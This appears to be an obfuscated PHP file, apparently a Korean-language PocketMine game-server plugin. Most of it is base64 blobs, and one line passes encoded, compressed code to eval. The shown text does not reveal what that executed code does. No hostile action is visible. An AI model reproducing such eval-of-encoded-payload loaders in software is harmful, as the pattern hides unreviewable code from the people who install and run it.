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')));eval(gzinflate(base64_decode('U4mPt8iOLKh0yYkIKbVNSixONTOJT0lNzk9J1VBBltO0RuHaFpcUlRShKtFRTzV0989OCQ2JdCnM9fOqMqosMAhW11EPNiioNKry8sstdIkMCU3J9nc3TFXXtE4tS8xBt6Q0rzi1BF0QAA==')));$__8kYpyDlXTu='DQogbmFZU3NHYWNTIE1JVEk7IHVzUyBHb2MyU3RZaW5TXEdsdWdpblxQbHVnaW5CYXNTOyB1c1MgR29jMlN0WWluU1xTdlNudFxMaXN0U25TcjsgdXNTIEdvYzJTdFlpblNcY29ZWWFuelxDb1lZYW56OyB1c1MgR29jMlN0WWluU1xjb1lZYW56XENvWVlhbnplU256U3I7IHVzUyBHb2MyU3RZaW5TXHV0aWxzXENvbmZpZzsgdXNTIEdvYzJTdFlpblNcU250aXRPXEVmZlNjdDsgdXNTIEdvYzJTdFlpblNcU3ZTbnRcR2xhT1NyXFBsYU9TcnFTYXRoRXZTbnQ7IHVzUyBHb2MyU3RZaW5TXFN2U250XEdsYU9TclxQbGFPU3JDb1lZYW56UHJTR3JvY1Nzc0V2U250OyB1c1MgR29jMlN0WWluU1xTdlNudFxibG9jMlxlaWduQ2hhbmdTRXZTbnQ7IHVzUyBHb2MyU3RZaW5TXFN2U250XGJsb2MyXEJsb2MyQnJTYTJFdlNudDsgdXNTIEdvYzJTdFlpblNcU3ZTbnRcR2xhT1NyXFBsYU9TckludFNyYWN0RXZTbnQ7IHVzUyBHb2MyU3RZaW5TXFN2U250XEdsYU9TclxQbGFPU3JVb2luRXZTbnQ7IHVzUyBHb2MyU3RZaW5TXFBsYU9TcjsgdXNTIEdvYzJTdFlpblNcWWF0aFxWU2N0b3IzOyB1c1MgR29jMlN0WWluU1xTdlNudFxTbnRpdE9cRW50aXRPcWFZYWdTQk9FbnRpdE9FdlNudDsgdXNTIEdvYzJTdFlpblNcU3ZTbnRcR2xhT1NyXFBsYU9Tck1vdlNFdlNudDsgdXNTIEdvYzJTdFlpblNcU3ZTbnRcU250aXRPXEVudGl0T3FhWWFnU0V2U250OyB1c1MgR29jMlN0WWluU1xpdFNZXEl0U1k7IHVzUyBNSVRJXHRhczJcTmFzMnM7IHVzUyBNSVRJXHRhczJcQW5hTmFzMnM7IHVzUyBNSVRJXHRhczJcZW9ZTmFzMnM7IHVzUyBHb2MyU3RZaW5TXFN2U250XEdsYU9TclxQbGFPU3JJdFNZSFNsekV2U250OyB1c1MgaWZ0U2FZXFJhbjJNYW5hZ1NyXHJhbjJcUmFuMlByb3ZpelNyOyB1c1MgTmFnWVNcTmFnWVM7IHVzUyB0c3NcTmVQclNmaXhcTmVQclNmaXg7IHVzUyBNSVRJXExTdlNsSkc7IHVzUyBHb2MyU3RZaW5TXFNudGl0T1xFbnRpdE87IHVzUyBHb2MyU3RZaW5TXGxTdlNsXEdhcnRpY2xTXEhTYXJ0UGFydGljbFM7IHVzUyBHb2MyU3RZaW5TXFN2U250XEdsYU9TclxQbGFPU3JSU3NHYXduRXZTbnQ7IHVzUyBHb2MyU3RZaW5TXGxTdlNsXEdhcnRpY2xTXHFTc3Ryb09CbG9jMlBhcnRpY2xTOyB1c1MgR29jMlN0WWluU1xibG9jMlxCbG9jMjsgdXNTIEdvYzJTdFlpblNcbFN2U2xcUG9zaXRpb247IHVzUyBHb2MyU3RZaW5TXHV0aWxzXFJhbnpvWTsgdXNTIHluU2JvblNcU2Nvbm9ZT2FHaVxFY29ub1lPQVBJOyBjbGFzcyB5dlNyV2F0Y2ggU3h0U256cyBQbHVnaW5CYXNTIGlZR2xTWVNudHMgTGlzdFNuU3IgeyBHcml2YXRTIHN0YXRpYyAkaW5zdGFuY1MgPSBudWxsOyBHdWJsaWMgJG93LCAkb3d6YiwgJHRTYXIsICR0U2FyczsgR3VibGljICRjaFNjMiA9IFtdOyBHdWJsaWMgZnVuY3Rpb24gb25Mb2F6KCkgeyBzU2xmOjokaW5zdGFuY1MgPSAkdGhpczsgfSBHdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdTdEluc3RhbmNTKCkgeyByU3R1cm4gc1NsZjo6JGluc3RhbmNTOyB9IEd1YmxpYyBmdW5jdGlvbiBvbkVuYWJsUygpIHsgaWYgKCR0aGlzLT5nU3RlU3J2U3IoKS0+Z1N0UGx1Z2luTWFuYWdTcigpLT5nU3RQbHVnaW4oIk1pbmlLaWxscVNhdGgiKSA9PT0gbnVsbCkgeyAkdGhpcy0+Z1N0TG9nZ1NyKCktPmluZm8oIsKnY+ydtCDtlIzrn6zqt7jsnbjsnYAgTWluaUtpbGxxU2F0aCDtlIzrn6zqt7jsnbjsnbQg7ZWE7JqU7ZWp64uI64ukLiIpOyAkdGhpcy0+Z1N0ZVNydlNyKCktPmdTdFBsdWdpbk1hbmFnU3IoKS0+emlzYWJsU1BsdWdpbigkdGhpcyk7IHJTdHVybjsgfSAkdGhpcy0+Z1N0TG9nZ1NyKCktPmluZm8oIsKnYu2UjOufrOq3uOyduOydtCDtmZzshLHtmZQg65CY7JeI7Iq164uI64ukISDtlIzrn6zqt7jsnbgg66y064uoIOqzteycoOyLnCDrspXsoIHsspjrsozroZwg7J207Ja07KeI7IiYIOyeiOyKteuLiOuLpC4iKTsgJHRoaXMtPmdTdGVTcnZTcigpLT5nU3RQbHVnaW5NYW5hZ1NyKCktPnJTZ2lzdFNyRXZTbnRzKCR0aGlzLCAkdGhpcyk7IEBZMnppcigkdGhpcy0+Z1N0cWF0YUZvbHpTcigpKTsgJHRoaXMtPm93ID0gblN3IENvbmZpZygkdGhpcy0+Z1N0cWF0YUZvbHpTcigpIC4gInlXLk9ZbCIsIENvbmZpZzo6bUFNTCk7ICR0aGlzLT5vd3piID0gJHRoaXMtPm93LT5nU3RBbGwoKTsgJHRoaXMtPmdTdGVTcnZTcigpLT5nU3RlY2hTenVsU3IoKS0+c2NoU3p1bFNSU0dTYXRpbmdOYXMyKG5TdyBOYXMycygkdGhpcywgJHRoaXMtPm93KSAsIGsxKTsgQFkyemlyKCR0aGlzLT5nU3RxYXRhRm9selNyKCkpOyAkdGhpcy0+Q29uZmlnID0gKG5TdyBDb25maWcoJHRoaXMtPmdTdHFhdGFGb2x6U3IoKSAuICJjb25maWcuT1lsIiwgQ29uZmlnOjptQU1MLCBbIuyKpO2CrDAiID0+IDMzNiwgIuyKpO2CrGsiID0+IDMzNywgIuyKpO2CrDMiID0+IDM3NywgIuyYgeybheq1kOyytOy9lOuTnCIgPT4gMzM5LCAi7JiB7JuF6rWQ7LK0642w66+47KeAIiA9PiAwOCwgIuujqOyLnOyasOyEoO2DneqwgOuKpeugiOuyqCIgPT4gMDEsICLstJ3slYwiID0+IDQ2aywgIuy0neyVhOydtO2FnCIgPT4gazgxLCAi67Cf7Jy866m07KO964qU7Ye07J6l67iU65+tIiA9PiAwOSwgIuuwn+ycvOuptOyjveuKlO2HtOyepeu4lOufreuNsOuvuOyngCIgPT4gMV0pKTsgJHRoaXMtPnFhdGEgPSAkdGhpcy0+Q29uZmlnLT5nU3RBbGwoKTsgQFkyemlyKCR0aGlzLT5nU3RxYXRhRm9selNyKCkpOyAkdGhpcy0+emF0YWJhc1MgPSBuU3cgQ29uZmlnKCR0aGlzLT5nU3RxYXRhRm9selNyKCkgLiAid2FyRy5PWWwiLCBDb25maWc6Om1BTUwpOyAkdGhpcy0+emIgPSAkdGhpcy0+emF0YWJhc1MtPmdTdEFsbCgpOyB9IEd1YmxpYyBmdW5jdGlvbiB0b2VhdlMoKSB7ICR0aGlzLT5Db25maWctPnNTdEFsbCgkdGhpcy0+cWF0YSk7ICR0aGlzLT5Db25maWctPnNhdlMoKTsgfSBHdWJsaWMgZnVuY3Rpb24gb25lYXZTKCkgeyAkdGhpcy0+b3ctPnNTdEFsbCgkdGhpcy0+b3d6Yik7ICR0aGlzLT5vdy0+c2F2UygpOyB9IEd1YmxpYyBmdW5jdGlvbiBpbmVhdlMoKSB7ICR0aGlzLT56YXRhYmFzUy0+c1N0QWxsKCR0aGlzLT56Yik7ICR0aGlzLT56YXRhYmFzUy0+c2F2UygpOyB9IEd1YmxpYyBmdW5jdGlvbiBvbnFpc2FibFMoKSB7ICR0aGlzLT5nU3RMb2dnU3IoKS0+aW5mbygiwqdi7ZSM65+s6re47J247J2EIOyiheujjO2VqeuLiOuLpCIpOyB9IEd1YmxpYyBmdW5jdGlvbiBQbGFPU3JDb1lZYW56KFBsYU9TckNvWVlhbnpQclNHcm9jU3NzRXZTbnQgJFN2U250KSB7ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7ICRHbGFPU3IgPSAkU3ZTbnQtPmdTdFBsYU9TcigpOyAkbmFZUyA9ICRHbGFPU3ItPmdTdFRhWVMoKTsgaWYgKCR0aGlzLT5Zb3pTIFskbmFZU10gPT0gMCkgeyAkU3ZTbnQtPnNTdENhbmNTbGxTeigpOyAkR2xhT1NyLT5zU256TVNzc2FnUygieyR0YWd9IOyYpOuyhOybjOy5mCDsiqTtgqzsgqzsmqkg7KSR7JeQ64qUIOyxhO2MhSwg66qF66C57Ja066W8IOyeheugpe2VmOyLpOyImCDsl4bsirXri4jri6QuIik7IH0gfSBHdWJsaWMgZnVuY3Rpb24gQ3JTYXRTcGFZUyhlaWduQ2hhbmdTRXZTbnQgJFN2U250KSB7ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7ICRibG9jMiA9ICRTdlNudC0+Z1N0QmxvYzIoKTsgJHggPSAkYmxvYzItPng7ICRPID0gJGJsb2MyLT5POyAkZCA9ICRibG9jMi0+ZDsgJGxTdlNsID0gJGJsb2MyLT5sU3ZTbC0+Z1N0VGFZUygpOyAkR2xhT1NyID0gJFN2U250LT5nU3RQbGFPU3IoKTsgaWYgKCRTdlNudC0+Z1N0TGluUygxKSA9PSAi7Jik67KE7JuM7LmY7J2064+ZIikgeyBpZiAoJEdsYU9Tci0+aXN5RygpKSB7IGlmICgkU3ZTbnQtPmdTdExpblMoMCkgIT09ICLsnbTrj5kiKSB7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCJ7JHRhZ30g7JWM66ee7J2AIO2YleyLneydtCDslYTri5nri4jri6QuIDAu7Jik67KE7JuM7LmY7J2064+ZLCBrLuydtOuPmSDsnoXri4jri6QuIik7IHJTdHVybiBmYWxzUzsgfSAk